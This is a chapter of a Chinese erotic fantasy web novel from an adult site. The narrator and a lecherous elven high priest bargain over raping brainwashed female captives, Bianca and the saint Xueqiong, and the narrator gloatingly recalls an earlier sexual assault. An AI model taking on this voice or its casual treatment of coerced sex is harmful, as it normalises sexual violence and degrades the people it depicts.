未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

阿里布達年代祭22

  索藍西亞大祭司柏南克,是一個對我非常友善的精靈,我們意氣相投,志趣相通,如果換個時空背景認識,我們可能會成為很好的酒肉朋友。
最開始的時候,我覺得很難理解。行走江湖多年,甚麼貪官汙吏,無能匪類我沒見過,那些愚蠢又廢物的貴族,高官,我真是見得太多了,認真來說,無恥與無能才是這些人的真面目,不值得奇怪,如果情形倒過來,那就是真的會嚇到我了。
昏庸無能的高官蠢貨我是見的多,但昏庸到柏南克這種程度的,也真在是駭人聽聞了。撇除茅延安不談,這個老頭堪稱我此生所見荒淫無恥之最,一個人厚臉皮不難,但是要厚到這程度,那也於是普普通通做得到的。
只是,怎樣荒淫無恥也好,這麼多年的江湖經驗告訴我,天下沒有白吃的午餐,就算偶爾有免費宵夜可吃,那個晚餐也一定很貴。一個人身居高位,要是沒有相應的實力,別說穩坐位子十多年,連十多天都不可能,好比冷棄基能夠當了幾十年的國王,看似無能,但他至少有「能」去讓手下效忠不造反,早期有變態老爸,後期有冷翎蘭,換仍是其他人奪了他的位,早就被變態老爸和冷翎蘭幹掉了。
柏南克再怎樣無能,終究是當了幾百年的索藍西亞大祭司,即使他的實戰能力隨著歲月流逝而腐朽,也一定有些讓人不可小覷的地方,要不然……我不信精靈世界就沒有爭權奪利,這老頭早該成為別人足下的墊腳石了。不管外表看起來有多蠢,千萬別小看生存者的本事,這是我一直都相信的事。
我不敢太小覷大祭司,心裡姑終存著幾分謹慎,但這分謹慎卻慢慢變成了欽佩。說起來是有點好笑,然而,經過這一段時間的相處,我是真心地佩服這個老頭子。
單從行為來看,大祭司就是一個無能兼無恥的色老頭。他的無能姑且不論,一個人可以無恥到這種地步,實在是很不容易的事,至少我就做不到。
普通人大概都以為無恥是很簡單的事,只要做到埋沒良心就好,可是,良心。羞恥心是用大半輩子建立起來的價值觀,厚著臉皮。大著膽子去出一次醜不難,若要長時間厚著臉皮幹事,在三更半夜獨處時不會迷惘。不覺得痛苦,那就實在是很不容易。
我自己偶爾深夜夢迴,都會感到一種莫名的空虛,那是對現實生活與價值觀的質疑。我很肯定這個世界的許多現有觀念不適合自己,但我並不確定自己目前所走的道路,會有怎樣的一個結果。這樣的心情,相信很多人都有,因為這樣就是人之常情。
柏南克種種荒淫無恥的作為,匪夷所思,他不單單只是好色,而是把商一切搞到像是呼吸喝水般自然。
在百多人面前公然性交,我們覺得很丟臉,他不以為意;以堂堂大祭司之尊,為了幾帖春藥配方,各我諂媚討好,我覺得他不用做到這種地方,但他卻不當回事。
精靈是高貴的種族,對於一些禮儀與道德的矜持,比人類更甚,但柏南克這老東西……別說是精靈,能和他相比的人類恐怕都不多,我越來越覺得,他不是無恥,而是……「放得開」。
道德。恥辱,他都不放在眼裡,就連甚麼身份。地位。尊嚴,他也全不在意,這個老東西的心裡,彷彿全無羈絆,沒有什麼東西可以約束住他。在我們看來,他身居高位而荒淫無恥,是索藍西亞的活笑話,但如果我們所重視。覺得好笑的那些觀念,對他而言毫無意義,那麼被當成笑話看的是他?還是我們?
這些念頭,最近在我心中偶爾閃過,並未深思,但這種情形今天卻出現變化,因為我碰到了一個很要命的問題。
之前我和大祭司約好,讓他把雷曼王子派給他的美人護衛交給我,讓我幹上幾次,佔點便宜。其實以我們現在的狀況,步步為營,如履薄冰,實在沒有多餘的心思去獵艷尋歡,之所以提出這個要求,目的只是為了被洗腦的碧安卡。
碧安卡被改造強化,又遭到洗腦,成為雷曼手中的一張王牌,連倫斐爾都為此吃上大虧,我若是能透過碧安卡,瞭解雷曼所用的手法,甚至進行反控制,那對我大大有利。
大祭司說話算話,在收了我所貢獻的美女肉奴後,果然向雷曼提出要求,把碧安卡送來。
想到當初在拉薩,我對碧安卡強行顏射。噴在她小嘴內,看她那又悲又憤,拚命忍住淚水的表情,堪稱最大的褻瀆,至今回想,仍今我興奮莫名。
相比之下,現在的碧安卡就是另一種味道。經過雷曼王子的改造,她的外型上還保留了精靈的特徵,容貌秀美,身材修長,一雙尖尖的精靈耳朵最是顯眼,但頂上的螺旋獨角,看來應該是移植其他生物之基因入體,所造成的影響,連帶造成的效果,就是身材也變得玲瓏有致,胸部都有料不少。
察覺到這一點,我的心情自是不壞,雖然碧安卡不是我志在必得的那種對像,但橫豎都是要干,干一個精靈美少女,總好過干又老又醜的中年肥婆。
「媽的,這個死臭婊子,前一段時間襲擊我們,也搞得我們夠嗆的了,現在落在我手裡,等一下絕對搞到你呼天搶地,求死不能。」
想得興奮,我有些忘形,自言自語起來,這些話本來不要緊,也沒有別的人會在乎,偏偏旁邊站了一個冷翎蘭,她一聽到我這麼說,表情立刻就變了。
「真的有本事,就憑自己的力量去把人擒住,像你這樣命人送來給你姦淫,算不上英雄手段。」
冷翎蘭澹澹說著,全然沒察覺到自己話裡的大破綻,照這麼說,原來憑自己的本事把人擒住強姦,這樣就是英雄手段?不過,說到這裡,冷翎蘭表情又是一變,望向我的眼神像在看什麼噁心事物,低聲問了一句。
「你……你該不會以前也這麼背後說我過吧?」
尷尬的問題,尤其是以我們現在的關係,分外難以回答,我也只能含?道:「你之前的敵人,只要是男人,哪個沒有這麼說過?」
冷翎蘭聞言,怒瞪了我一眼,正要說話,忽然身驅一震,露出難以置信的驚愕目光,我心知有異,順著她的目光看去,只見碧安卡後頭還有一個人,正跟著她一起走入營帳。
碧安卡不是孤身前來,這多少讓我有些意外,跟著她走進來的那人,竟是個人類女性,全身籠罩在黑衣黑紗底下,遮得嚴嚴實實,不見面目,我差點以為是華鬼婆來了。
這名女子手執法杖,還是一名魔法師,身上隱約傳來魔法波動,感覺起來實力非同小可,我很快就記起,她正是那晚雷曼親自進攻峽谷時,在旁邊幫著施放「陰風怒號」的女魔法師。
能夠施放究極魔法,一身修為殊不可輕,我當時就驚訝於雷曼身邊怎會有此人物?現在近距離看到,訝異更甚,既不可解雷曼為何把這號人物派來,也想不通為何我對此人有一種熟悉感。
(奇怪,怎麼會覺得眼熟?是我的什麼諒人嗎?還是有過一面之緣?但我這邊別說沒見過如此強大的女魔法師,就連想不起來有這麼一號人物啊,無論是阿里布達,伊斯塔,還是金雀花聯邦,人類陣營什麼時候出了這種傑出女性?)
想來想去,腦子裡真是一片空白,找不到絲毫線索,就在這時候,大祭司過來,在我耳邊低聲道:「不錯吧?三王子派了兩名美人護衛過來,這個給你幹,另一個就老哥哥自己收下了。」
危險人物先讓大祭司去接觸,這是比較安全的作法,我事後旁敲側擊,仍可以得到不少情報,照理說是最好的安排,但不曉得為什麼,聽大祭司這麼一說,我忽然生出一股恐懼感,好像無論如何都不能讓此事發生,整顆心緊張地糾結在一起,短短幾秒過去,甚至還流下了冷汗。
這時,那種異樣的熟悉感,直接變成了我的緊張之源,我越來越覺得,這個女人我應該見過,而且還很熟,只是每當我想要看清楚她的輪廓與長相,確認她的身份時,眼中就一片模?,看不清楚,好像我內心深處明白,如果把她看了個清楚,某些我不願意面對的事,就會被重新攤開在面前,逼得我再無退路。
(這種壓迫感是什麼回事?與面對高手時候的壓迫感不同,是什麼人能給我這樣的壓力?奇怪,我……)
要是有得選擇,我真想立刻掉頭,跑出營帳,但這種事卻是現在不可能做到的,於是我就站在這裡,看著那名女人掀開頭套,露出了底下的面容。
確實,這是一張我極度熟悉的面容,雖然它有著我全然陌生的表情……
瞬間,我腦海裡「轟」的一聲,把所有的思緒炸成灰飛,我不可能認不得眼前的這張臉,即使表情有變化,但那無疑就是阿雪的臉……或者,我該說是天河雪瓊的臉。
目光焦點從我的臉往下移,越過頸部。肩膀,停留在胸口。黑衣的遮掩下,渾圓碩大的雙乳,隨著呼吸而起伏挺動,時時刻刻都會裂衣而出,如此圓碩的巨乳,堪稱是最佳的身份證據,若是超級胸部監定師心劍神尼在此,肯定會立刻點頭同意我的判斷。
溷亂的意識,我沒辦法輕易相信這個事實,但眼前的一切卻無可辯駁,狐耳。獸毛這些明顯的特徵全部消失,這個女人是百分百的人類,就算我不想承認,冷翎蘭的一聲驚呼,卻將我的否認輕易打破。
「……雪瓊?」
天河雪瓊是光之神宮的聖女,與冷翎蘭的交情極好,雖然天河雪瓊追隨心劍神尼,長年在孤峰之上修行,不接觸外人,但她與冷翎蘭同為本代慈航靜殿最傑出的女性門人,兩人互相欽慕佩服,自然結交,成為彼此為數不多的好友之一,別人或許還認不出天河雪瓊,冷翎蘭肯定不會認錯。
因為很清楚這個事實,我的一顆心筆直往下沈去,看見冷翎蘭情緒失控,一個大步往前踏去,我想阻攔,卻是慢了一步。
「雪瓊?你是雪瓊吧?」
乍見故友,冷翎蘭激動忘形,一步往天河雪瓊踏去,手直接按向她的肩頭,雖然不是帶有敵意的動作,但高手出招,習慣成自然,這一下拍落,五指所按範圍,己將對方整個肩頭。頸項範圍籠罩。
針對這份危機,天河雪瓊頓生反應,冷翎蘭的一掌尚未落下,天河雪瓊肩頭陡然生出一股黑氣,如霧如雲,看樣子應該是某種腐蝕血肉的防護咒術,冷翎蘭識得厲害,雪腕一翻,急速撤手,哪想到那團黑氣竟受牽引,纏向冷翎蘭的手掌,要是被黑氣沾上,絕不可能無傷而退,情勢至此,不露點真功夫是不可能了。
「吽。」
冷翎蘭低喝一聲,氣勁隨發,慈航靜殿嫡傳的純陽正氣震發,與纏腕而來的黑氣對撞,陽盛陰衰,將黑氣震得潰散消滅。黑氣一滅,冷翎蘭未及喘氣,一柄法杖直襲而來,冷翎蘭空手招架,臉上露出錯愕神情,顯是法杖上的力道之大,超乎意料。
魔法師全身的能量都被轉化為魔力,不太可能有力氣很大的,除非是少數特例,
或是使用能將魔力轉化為打擊的神器,冷翎蘭一時不防,這一下吃了暗虧,但她變招奇速,第二次鼓勁回擊時,鋒銳刀氣蘊含其內,與法杖對擊,爆出巨響。
這幾下詔招發生得很快,兩股巨力一碰,冷翎蘭與天河雪瓊都被震開,一旁的碧安卡身形閃動,要趁隙攻向冷翎蘭,但早已有備的我,扣動破魔槍扳機,一槍射出,碧安卡後退閃躲,雖未擊中,卻也讓她無法再行進擊。
冷翎蘭身形甫定,還要往前撲去,我一手按在她肩膀上,對她搖了搖頭,阻止她的妄動,這時,大祭司才像是驚魂甫定清醒,嚷了起來。
「怎。怎麼回事?這邊是怎麼搞的?有話好好說嘛,怎麼動起手來了?」
大祭司望向我,道:「怎麼了?不是為了爭女人而不開心吧?女人嘛,到處都有,不必爭啊。」
冷翎蘭的男裝打扮,讓大祭司搞錯了她的性別,將她的出手當作是搶著爭女人,這點讓我覺得有些好笑,尤其是當大祭司來到我身邊,悄悄說話的時候。
「喝,老弟,你這也太過分了吧?不是說好只弄女人給你一個搞的嗎?怎麼又多帶一個來?你想玩群交要先說一聲,讓老哥哥我準備一下嘛!」
「……準備什麼?」
「就算不準備道具和藥,至少也要換一件好脫一點的褲子,或者直接不穿褲子,這樣才好撲上去就干,至少能搶羸你們年輕人啊。」
「……老天,碰上你,我真是想不寫個服字都不行啊。」
也真要感謝大祭司一下,由於他的渾帳說話,讓我稍減輕緊張,能夠理性思索。
眼前的事情很清楚,雖然說天底下有面容相似的,但這樣的長相,這樣的巨乳。這樣的黑魔法,能夠兼備這三個條件的女人,除了天河雪瓊再沒有可能有第二個。
靈柩被碧安卡所奪,天河雪瓊出現在這裡,這之間的變化,當然就是雷曼在搞鬼,不過他的實力之強,手段之高,遠遠超出我的預期,若非此刻親眼所見,委實難以置信。
雪瓊體內的恐怖能量,幾乎已經到了黃土大地上無人可治的程度,慈航靜殿,伊斯塔的眾高人對此圴束手無策,就連白拉登這樣的高人,都只能提出大地次心的解救方略,無法親力救治。而看天河雪瓊如今的狀態,行動無礙,還能運用魔法力,足見雷曼確實搞定了她體內的問題,又不是使用大地之心,這背後所牽涉到的能力實在是驚人。
除此之外,當初天河雪瓊落入黑龍會手中,慘遭肉體改造,變成半人半獸的情況,這些年來我潛心思與研究,還請教過無數專業人士,都找不到破解方法,所有人都認為這是一個不可逆的破壞改造,還原希望可以說是沒有,但如今,我眼前正呈現一個不可能的事實,半獸人的身體還本歸原,回復人類之身,簡直是噩夢重臨,我幾乎不敢相信這是事實。
「我還得起,你卻未必收得下。」
雷曼臨去時說的話,言猶在耳,沒想到是以這個形式呈現,真是今我恨得牙癢癢的。
觀看天河雪瓊的表情,喤然比碧安卡多點人情味,但其實好不到哪去,很明顯是被人操控神志的狀況,換句話說,就是是失去自我的傀儡狀態,畢竟雷曼將她救醒,改造,是為了當手下操控,沒理由給她完好的精神,控制不住。
這樣一來,對我也是好事,至少天河雪瓊認不得我,也想不起曾經發生過的那些事,省得她馬上就要殺過來。
(可是,我與阿雪的……)
想到阿雪,我胸口陡然一陣難忍疼痛,近似撕裂,差點就在表情上露出破綻,總算我還記得現實狀況,強忍下來,換上一副淫笑的表情,把大祭司拉到一邊,竊竊私語。
「老哥,別的不講,眼前出了一件大事,你可知道這個黑衣魔法師是什麼人?」
「……天曉得,好像是雷曼那邊新招攬的人類助手,國家出錢的。」
「名字呢?送來的時候沒有自我介紹嗎?」
「叫做什麼雪瓊……咦?你們怎麼知道她的名字的?我都還沒提起,你們就知道了。」
「別管這個,我告訴你,這個女人大有問題,碰不得啊。」
「為什麼?她下面爛了?還是得了很厲害的性病?」
「比那個更糟糕,你知不知道這個女人是什麼來頭,她是光之神宮的聖女天河雪瓊啊!」
我正色道:「慈航靜殿的聖女,當初說是要去巡遊海外,增廣見聞,回來以後很有可能接管神宮要職,甚至成為下任神宮之主的,怎麼會出現在這裡?還一副性奴隸的模樣?」
「什麼?這個女人是慈航靜殿的聖女?……這樣事情可就大了啊!」
大祭司滿臉震駭之情,儘管慈航靜殿所侍奉的神明。宣揚的教義,與精靈世界全然無關,但慈航靜殿在人類世界的影響力,卻不容小覷,索藍西亞除非想要得罪全人類,不然就不可能無視慈航靜殿的力量。
「當,當真是慈航靜殿的聖女?你該不會認錯吧?」
「此事千真萬確,就算我會認錯,我那名手下以前當過聖女的護衛,是絕對不會認錯的。你們把光之神宮的聖女弄來當手下,這件事如果傳了出去,別說是變成國際問題,一個弄不好,就算掀起戰端都是有可能的。」
我說得慎重,還刻意裝出恐怖表情,希望能夠唬過大祭司,讓他曉得事情的嚴重性,哪想到這傢夥聽起來,臉上慢慢露出喜色,好像聽見什麼大喜事一樣,還握著我的手,興奮道:「太好了,想不到雷曼真的送了一份大禮過來,我搞來干去,只上過本族的精靈聖女,還沒有幹過人類的聖女咧,雷曼這份大禮真是有心了,兄弟你帶著你的妞回去慢慢搞,老哥哥我要在這裡立刻享用了。」
「喂,等等,我剛才說……」
「等什麼等?這種事有什麼好等的?難道……你也想要分一杯羹?」
說到這裡,大祭司好像怕我搶他女人一樣,一副很提防緊張的樣子,退了兩步,眼睛朝我上下打量。
「之前都已經講好了,你要把碧安卡帶回去幹,現在碧安卡來了,另外送來的這個應該歸我,你想上可以,但要排隊,最起碼要等我幹完一次……不,起碼一晚,才可以交給你幹,插隊是萬萬沒得商量的。」
這些話大祭司說得非常認真,旁邊的冷翎蘭聽了,氣到臉色發紫,差一點就要再次出手。
我朝冷翎蘭使了眼色,讓她先別妄動,由我來試著解決問題,但我自己也知道事情不好辦。
(要命,這個死老頭怎麼如此不識大體?好色誤事也就算了,居然連戰爭都不放在心上,索藍西亞有這種大祭司,真是倒了八輩子楣了,唉……索藍西亞怎麼樣關我屁事,問題是這樣一來,阿雪就要被人干了……媽的,毫算要立刻翻臉,也不能讓阿雪被老色狼給幹了。)
決心有了,但怎麼維護這樣的決心卻還很茫然,我試著苦勸大祭司,希望他能夠以蒼生為重,不要為一已私慾,將索藍西亞的精靈拖入戰火之中,但他卻一臉詫異的表情,說我這個人素以自私自利聞名天下,怎麼會說出這麼可恥的話,又表示慈航靜殿的心禪大師為人和善,比誰都要更怕兩國交兵,生靈塗炭,只要遣使者去向心禪大師解釋,做點利益交換,他肯定不會為了一個聖女搞到開戰。
(媽的,不得不承認老色狼還有幾分本事,看人看得挺準的,心禪大師不會為了交換利益而棄人不顧,但如果說到蒼生福祉,他九成會讓步。老色狼有一套,換作是我也只有這個辦法了。)
我側目瞥見冷翎蘭臉色微變,看起來是與我同一想法,但事情要這樣被混過去,我們就麻煩了,於是我開始危言聳聽,說雷曼把這個燙手山芋送來,肯定不懷好意,另有陰謀,要是就這麼糊里糊塗把人給幹了,說不定會吃上大虧。
話都說到這個份上,總該謹慎一點,但大祭司仍大刺刺地表示:「那有啥關係?人是我在干,禍是大家扛,這種買賣怎樣做都劃算,我不吃虧啊。」
聽到這合話,我氣起來真是想把這個老色頭一腳喘倒,但此情此境,偏偏又不好發脾氣動手,而大祭司竟看不出我的憤怒,還在那邊用色瞇瞇的眼神,打量著天河雪瓊肥碩白皙的巨乳,貪婪地搓著手,說什麼既然是聖女,一定也是處女原裝貨,這次真是撿到大便宜,竟然能替人類的聖女開處。
(處女?對了,阿雪還沒破身,此計可用。)
腦裡念頭一閃,我刻意拉長聲音,皺眉道:「據我所知,人類世界的聖女,都有鎖貞聖咒護身,如果這封印還在,你想要開處恐怕不是那麼容易,搞不好還會吃上大虧。」
「啊!這個問題我沒想到!」
大祭司驚呼一聲,表情變得陰晴不定,我慶幸此計奏效,鬆了一口氣,卻看見大祭司陰霾的表情迅速變化,很快就變成了笑臉,心裡暗叫不妙。
這個老色狼一定是想到,聖咒封鎖之下,要強行破處有相當風險,弄得不好還會反傷自身,若是命根子受創,以後連幹別的女人也不行,太不劃算,但前路不行有後路,就算幹不到聖女的處子穴,能夠替聖女的屁眼開處,未嘗不是美事一件。
普通人的腦子不會那麼快,但……這次碰上完全與我同類的人,我想到的他都會想到,搶不著任何便宜,更沒法制敵機先。眼看事情就要無可挽回,忽然我發現到大祭司的眼神有點奇怪,好像在期待我對他說些什麼,此時我明明已經技窮,無話可說,他所期待的東西是……
轉念一想,我連罵自己糊塗,居然把事情的核心給忘了,同時也恨恨地瞪了大祭司一眼,這個卑鄙無恥的老頭,為了要迫我提出交換條件,居然連自己國民的生命福祉都可以不顧,真是無恥至極。
「嘿,老哥,我知道你出手從不無功而回,幹不到女人總要撈點好處,本來此事與我無關,但不巧我和慈航靜殿有點交情,看你這麼干人家聖女,說不過去,不如你提個條件出來,要怎樣才能交還這個女人呢?」
「老弟,這才上道嘛,講一堆什麼生靈。黎民的,關老哥我啥事?要關也只關心禪那一類傻鳥的事,現在這塊美肉掉在老哥哥我面前了,你要拿走,老哥哥我不能不顧兄弟道義,英雄有成人之美嘛,但你也不能全拿走啊,好歹也得留點東西下來,要不然……不就是你沒義氣了嗎?」
真是鬼扯,我還是頭一次聽到有哪個英雄把義氣放在大義之前的,索藍西亞出了這種宗教領袖真是天譴,不過現在我也沒得反駁,只能順兼說下去,看看他有何要求。
「哈哈,美人如玉,自然不會讓你拿金銀財寶來換,這太俗氣……更何況,我也不缺那些東西。」
大祭司朝我看了一眼,又望向冷翎蘭,道:「其實,不就是找個洞幹嘛,老哥哥我也沒那麼挑剔,不瞞兄弟你說,老哥哥在這方面的口味是老少鹹宜,童叟無欺,說得明白點,就是只要俊俏,性別不是障礙,種族不是問題,嘿嘿,你的這名隨從也挺俊的,不如老哥哥吃點虧,用聖女換你的隨從,讓他陪老哥哥一宿,如何?」
◆ 第二話:舊情如夢.儘是無奈
一生與人利益交換,困難的抉擇碰到過不少,卻還沒有哪個令我這般愕然的,這個老色狼真是一頭老狐狸,剛剛吞了我一個女記者不夠,現在又把目光對準了我身邊的人。
和阿雪的份量比起來,我捨不得的東西真是不多,可是大祭司隨手一指的這個目標卻太過特殊,無論從哪個方面看,冷翎蘭都不是我可以隨便拿去交易的女人。
武功高強,心高氣傲,冷翎蘭怎肯把自己當作交易物品?我一開始就知道沒有這種可能,但直言不妥,慌亂下我只有先找話搪塞,由於太過心慌意亂,我的推辭話語說得分外笨拙。
「啊?要我的隨從?這個……老哥哥你看得上,那當然是他的福氣啦,可是,嗯……不曉得你要怎麼幹呢?我的意思是,你是要干他?還是要讓他來干你?如果是後者的話,可能有很大的障礙,畢竟……」
話說到這個份上,真是語無倫次,但大祭司竟然像是被點醒一樣:「啊」了一聲,認真地皺眉思考起來,令這荒唐的局面更顯得可笑,而在這一刻,我訝異地發現,原來自己竟是如此不願意將冷翎蘭拿去交易。
這個一閃即逝的念頭,並沒有得到深思的時間,因為整個情況再一次陷入混亂化,這次不是因為營帳內的變化,而是因為營帳外喧鬧起來,似乎受到什麼襲擊,士兵竄走,火光大起。
索藍西亞的正規軍在自己國內,不可能有敵襲,不會碰到盜匪,要說到發動襲擊的對象,我唯一想得到的,就是我們這一票人。
(莫非我們遲遲沒回去,鬼婆擔心情形不對,動手搶人教人了?但……這哪有可能?她才不會在意別人死活咧。)
我覺得古怪,但敵襲來得好快,原本還在頗遠之處的騷亂,一下子就來到附近,敵人的實力看來不弱,就是不曉得是哪方人馬。
碧安卡、天河雪瓊沒有得到命令,仍是站在原地不動,沒有出去處理的打算,反倒是大祭司一臉驚惶,直嚷著要人護駕。
「這……這是怎麼了?好端端的也會有人殺過來,國內的治安什麼時候這樣差勁了?」
大祭司叫了幾句,異變陡生,營帳右側忽然傳來一股壓力,敵人竟然無聲無息來到如此近處,我們還未及反應,敵方先發制人,營帳瞬息破裂,三道寒光幾乎同時護出,打入營帳內,目標赫然是大祭司。
說實在的,這種經驗還真是少有,明明有我在場,被刺殺的對象卻是別人,我已不知道多久沒遇過這種事,畢竟這世上比我更討人厭的存在實是不多,看到大祭司遇刺,還真是令我吃了一驚。
從勁道與速度來看,這三道攻擊是由機弩所發,勁道甚強,速度更快至肉眼難見,我無法看清楚寒光究竟是由何種物體形成,轉眼間就來到大祭司身前,分打向頭頂、咽喉、胸口,處處要害,志在奪命,照情勢看來,除非有人出手救援,不然老色狼惡貫滿盈的時候就到了。
不過,其實我們都忘記了一件事,一件很重要的事。一個能夠擔任精靈大祭司數百年的長者,橫跨數個世代而屹立不搖,這樣的人物豈是易與?如果這種攻擊就能把他幹掉,早在幾百年前就沒有柏南克了。
三點寒光,在逼體奪命的瞬間,突然慢了下來,我看得很清楚,寒光是由一種小指頭大的銀梭構成,光華流轉,多半還帶有特殊屬性傷害,是非常高等的魔法兵器,隨便挨上一下可不是鬧著玩的。
如此攻勢,像冷翎蘭這級數的高手,是可以發刀氣阻截,但銀梭到了如此近處,刀氣多半攔截不及,只能憑著護身真氣硬擋,變成以硬碰硬的下下策,絕對做不到現在這樣的神異效果。
三枚銀梭的速度慢了下來,卻不是停滯,而是以極慢的速度在前進,銀梭尖端已經碰到大祭司的衣衫,離命中他身體不過數分之距,可是這極短的數分距離,恍若咫尺天涯,銀梭越是靠近,飛行的速度就越慢,明明就是近在眼前,卻怎樣也到不了。
無比神奇的效果,是對「空間」的完美駕馭,令人歎為觀止,若非把魔法修練到顛峰,就做不到這種效果,掌控不到這種程度,而在銀梭速度被拖慢下來的同時,大祭司的身體也發生詭秘變化。
就在我們的眼前,大祭司身上的色彩迅速淡化,由鮮亮的色彩變成了透明,最後只剩下一層模糊的形影,像是一個由水凝結而成的人形,看不清楚。變成了這樣的奇異身體後,三枚銀梭的射速回復正常,眨眼問打穿了大祭司的身體,餘勢未止,從營帳另一頭穿透出去。
「呼!」
吐出一口濁氣,大祭司的身影回復正常,額頭、咽喉、胸口三處被銀梭打穿的地方絲毫無傷,至此,已讓我和冷翎蘭看得目瞪口呆,若非親眼所見,怎都想不到這頭老色狼有如此通天本領,剛剛那一下神通,如果出自黑龍王之身,那倒是不奇怪,可是……
無論如何,此刻我們終於親眼見識到索藍西亞大祭司的實力,他不愧是傳承數百年精靈一族魔法的首席長老。我和冷翎蘭對望一眼,在彼此的目光中看到了震驚與慚愧。
營帳右側的布幕被破,我們看清了那個發射銀梭的「敵人」。之前我就覺得銀梭飛行的勁道太強,絕非血肉之軀,現在便證實了這個推論,進入營帳內追擊的那具物體非石非木,渾身由閃閃發光的特異金屬、礦石組成,是一具魔法機偶,構造簡單,核心源源透發的能量卻很強大。
巨大的頭顱與胸腔,四肢細瘦如柴,看似脆弱易折,卻一下散發冰晶似的藍光,一下又轉為火焰繚繞,進行著劇烈的能量轉換,在轉換中爆發出強大力量,是僅作一次性使用的戰鬥機偶。
這種機偶,由於能量與本身結構之間的失衡,使用壽命極短,但在自毀之前爆發出來的力量卻很強,不可小觀,要是另外裝配了什麼神器,那就更是厲害。能出動這樣的魔法器械,敵人的實力確實不弱,難怪打得外頭騷亂若此,我們雖然沒理由當精靈們的保鏢,但袖手旁觀也說不過去,冷翎蘭移動數步,擋在大祭司與魔法機偶的中間,充作護衛。
呆滯的碧安卡有了動作,勇猛地衝向魔法機偶,執行她的護衛工作;天河雪瓊也念誦咒文作輔助攻擊,我的眼睛牢牢盯著天河雪瓊不放,卻聽見後頭「哇」的一聲,只見大祭司頹然跪倒,一口鮮血噴出,染得白鬚、白袍上血痕斑斑。
「呃,老哥,你怎麼……」
我一句話沒問完,看到大祭司向我搖搖手,好像是示意自己並不要緊,可是手才一動,立刻又是一口鮮血噴嗆而出,顯然傷勢著實不輕。
剛才的銀梭根本沒傷到大祭司,更沒理由令他傷重吐血,這傷勢應是他施展魔法而來,換句話說,他可能存有暗病或暗傷,又或者根本是被人下了詛咒,只要一催動魔法力就會引動傷患,這就難怪他堂堂大祭司之尊,平時從不見他有什麼魔法修為,看來好像個掃地大嬸般的沒用。
看到大祭司受傷跪地,我不自覺地著急起來,畢竟這段時間在他這裡又吃又拿,見他出事總會關心,但還不及有動作,就聽見冷翎蘭一聲驚呼。
「當心!」
我側目一看,那具魔法機偶竟然對著我射出一支銀梭,倉卒間我不及閃躲,就看到冷翎蘭身形一閃,手掌橫揮,刀氣縱橫,將那支銀梭切斬而過,同一時間,天河雪瓊的黑魔法攻擊命中機偶,那具魔法機偶像是瞬間被抽去活動能量,核心黯然無光,整個身體腐朽潰爛,垮了下去。
「嗚!」
胸前一痛,我愣愣地看著胸口插著的半截銀梭,冷翎蘭雖將銀梭砍成兩截,但餘勢仍強,首半截還是射中我了。一時間,我什麼也說不出來,就只能這麼凝視自己胸口,然後無奈地倒下昏去。
暈倒再醒來,已經是幾個時辰以後的事,由於半截銀梭僅是靠餘勁推射,威力不強,我也只是小小地受點皮肉傷,華更紗簡單治療一下就算完事了。
老實說,有華更紗這樣的人才在,就算再嚴重十倍的傷勢我也不擔心,別說銀梭射中胸口,哪怕是透胸而出,射爛整顆心臟,我相信華更紗也有辦法處理,相形之下,我還比較擔心醒來時已經被這惡德醫生製成活屍或妖物,這種處理方法還不如讓我死了算。
這一場莫名其妙的敵襲,整個事件從頭到尾,如深埋五里霧中,完全搞不清楚襲擊者的身份。
尋常時候,如果說搞不清楚刺客身份,那多半是抓不到刺客,又或者刺客全部死光光,無可拷問,但這次進行襲擊的「刺客」,根本不是人類,甚至不是生物,都只是一些內藏魔法動力的機偶,突然衝入精靈的陣地,胡亂攻擊,鬧得人仰馬翻,一陣大亂。
事後,所有的機偶全部被破壞,它們本就被輸入命令,在此戰至最後一刻,不會逃也不會跑,時間一長,當然全部都被打壞。機偶的殘骸若經過調查,或許能有些發現,但敵人會用機偶來當攻擊武器,理應不會蠢到留下什麼訊息給我們追查,精靈們查不出來,我也不會意外。
所以,敵人的真面目是什麼,目前沒有答案,而敵人的目標為何,也還看不出來,一切只能說是莫名其妙。
冷翎蘭道:「精靈們都說敵人的目標是刺殺大祭司,難道你不這麼想嗎?」
「你自己也不是這麼想吧,何必問我?說是來鬧鬧場,這還說得過去,若真想憑這些機偶刺殺索藍西亞大祭司,那實在太自暴自棄了。」
一般的刺殺團體,就算不先作深入的目標調查,單單憑索藍西亞第一長老、首席祭司的名頭,就不會只派出這種程度的刺殺陣仗,最起碼也要再多個十倍,這才有可能在萬軍叢中,幹掉索藍西亞大祭司,不然憑這點戰力,就算大祭司真的因為酒色過度,實力變成了廢渣,外頭過萬軍隊總不會是擺著好看的。
更何況,依照我們剛才親眼目睹的那一幕,大祭司所顯露的那手神通,委實驚人之至,我回顧生平所見的各類高手,有幾個人或許能做到,但若要問有誰肯定作得到,這還真是答不出來。大祭司能令肉體虛無化,所有攻擊透體穿過,單只憑這手本事,就有資格與當世強人爭鋒了。
雖然說,大祭司在使完這個護身法術後,一直跪地吐血,吐到醫護人員趕來把他?走,在擔架上還咳血咳個沒完,好像因為使用這個魔法,導致身體承受不住,為此受創,但我仍不敢因為此看輕了他。
這些都只是題外話,單從現有資料,我無法分析出敵人的襲擊意圖,也無法判斷敵人是想攻擊精靈們,意外牽連到我們,抑或剛好相反,總之,在這場混亂中,除了大祭司遇襲,也另有一具機偶突破精靈們的封鎖,闖到我們的陣營,不過什麼都還來不及做,華更紗親自出手,一爪就把那具機偶給打碎,震懾在場所有精靈士兵。
在那之後,沒有機偶再來襲擊,精靈們也都與我方陣營保持距離。當我被機偶射倒昏迷,冷翎蘭迅速把我送來,交給專業人士處理,華更紗用解剖屍體的冷靜態度把我給料理了,取出銀梭,傷口包紮一下,確認只是輕傷,跟著就把我扔下去泡茶。
「鬼婆,我也知道是輕傷,但怎麼銀梭都拔除了,我胸口還在那邊發痛,好像有什麼東西仍插在裡頭一樣?」
「武道高手發勁傷人時,內勁可以潛伏於人體,持續破壞,你中的魔法兵器也有異曲同工之妙,一點殘餘能量在你體內,不過沒什麼傷害性,大概過個一兩天就會消失,就當是傷風感冒,忍忍便沒事了。」
「……還自誇什麼神醫,連傷風感冒也治不了?」
「要治也可以,但要吃藥,你想吃我的藥嗎?」
「……傷風感冒這種事,放著自己好就行了,成年人是不吃傷風感冒藥的。」
為了這點小毛病去吃亂七八糟的藥,病好了都可能有後遺症,我還是寧願自己痛上幾天。
